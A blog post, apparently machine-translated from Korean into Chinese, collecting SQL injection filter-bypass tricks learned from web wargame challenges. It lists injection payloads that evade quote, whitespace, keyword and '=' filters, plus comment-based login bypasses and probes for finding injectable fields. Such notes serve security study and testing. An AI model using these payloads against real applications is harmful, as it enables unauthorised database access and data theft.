SQL Injection 绕过技术总结
通过解题 Web 攻防 Wargame 学到的 SQL Injection 绕过技术合集
本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。
阅读原文(韩语)打算整理一下至今为止在 Web 攻防 Wargame 解题过程中领悟(?)到的绕过技术。
因为都是凭记忆手动编写的,可能会有遗漏的部分。
想起来后我会再补充修改。
- or, and
: ||, &&
- 字符串过滤 (Ex. preg_match - admin 等)
: admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110, char(0x61, 0x64, 0x6d, 0x69, 0x6e)
char()的情况也可以使用其他进制
- Blind SQL Injection 时 '='(Equal) 过滤
: substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')
- substr 过滤
: right(left('abc',1),1), id>0x41444d4941 ('ADMIN' 的 hex 值比 'ADMIA' 大)
- ereg, eregi
: 过滤 'admin' 时,可用 'AdmIN' 等形式绕过
: 在最前面插入 %00 时,后面的字符不会被过滤
- replace, replaceAll
: 过滤 'admin' 时,可用 'adadminmin' 等形式绕过
- 数字字符过滤
: 0 -> '!'='@'
: 1 -> '!'='!' 等,利用 true、false 及表达式来表示数字
- 空白字符过滤 (%20)
: %20 -> %0a %0b %0c %0d %09
- 单引号过滤 (%27)
: 在 Single Quote 内使用 Double quote 有时也能解决问题
: 特殊条件下,可通过 %bf%27 构造多字节 (Multibyte) 来绕过过滤(但这种情况很少见)
: 如果反斜杠 \ 字符未被过滤,在以下情况下可能绕过
ex. select test1 from test where id='' and pw='or 1#
-> parameter : id=&pw=%20or%201%23
- 注释
: #, --,;%00, /* */
- 利用注释进行 SQL Injection
: '#' 的注释范围是 1 行。因为换行的标准是 %0a,所以可以执行如下示例的 SQL Injection。
- select test1 from test where id='abc'# and pw='%0aor id='admin'%23
: /* */
- select test1 from test where id='abc'/* and pw=''*/or id='admin'%23
- Blind SQL Injection 时,子查询结果返回多行但无法使用 where 语句时
: max(column_name), min(column_name), group_concat(column_name)
- 需要获取表名、列名时
: select test1 from test where id='admin' and pw='1234' procedure analyse();
- 配合
limit 2,1等使用,可以将所需的列名在一行中提取出来
- 进行 Error Based SQL Injection 时
: 执行 0xfffffffffffff*0xfffffffffffff 会导致 Integer 范围溢出错误
- MultiByte Character SQL Injection
: 当 'test1' 字段的字符不是 ASCII 码而是多字节字符(ex. UTF-32 等)时,可以通过以下方法执行 SQL Injection。
- substr(hex(test1),1,1)=0x41
※ 判断是否为 MultiByte Character 的方法:利用 '>' 和 '<' 寻找范围时,如果字符的范围出现在例如 20 和 21 之间(ASCII 字符的范围不会出现小数),则可以推测为多字节字符。
- 测试是否存在 SQL Injection 时
: 输入 ' (单引号) 时是否报错
: 输入 ' and '1'='1 时正常输出,而输入 ' and '1'='2 时不输出
: 输入 ' or '1'='1 时是否正常输出
: 针对数字构成的列 (ex. idx=23001),输入 idx=23002-1 时是否正常输出
: 输入 '||' 时是否正常输出 ( 限制条件:DB 为 Oracle 且数据类型声明为 Varchar 时 )
: 使用注释时:#(%23), -- (--%20), %0a
评论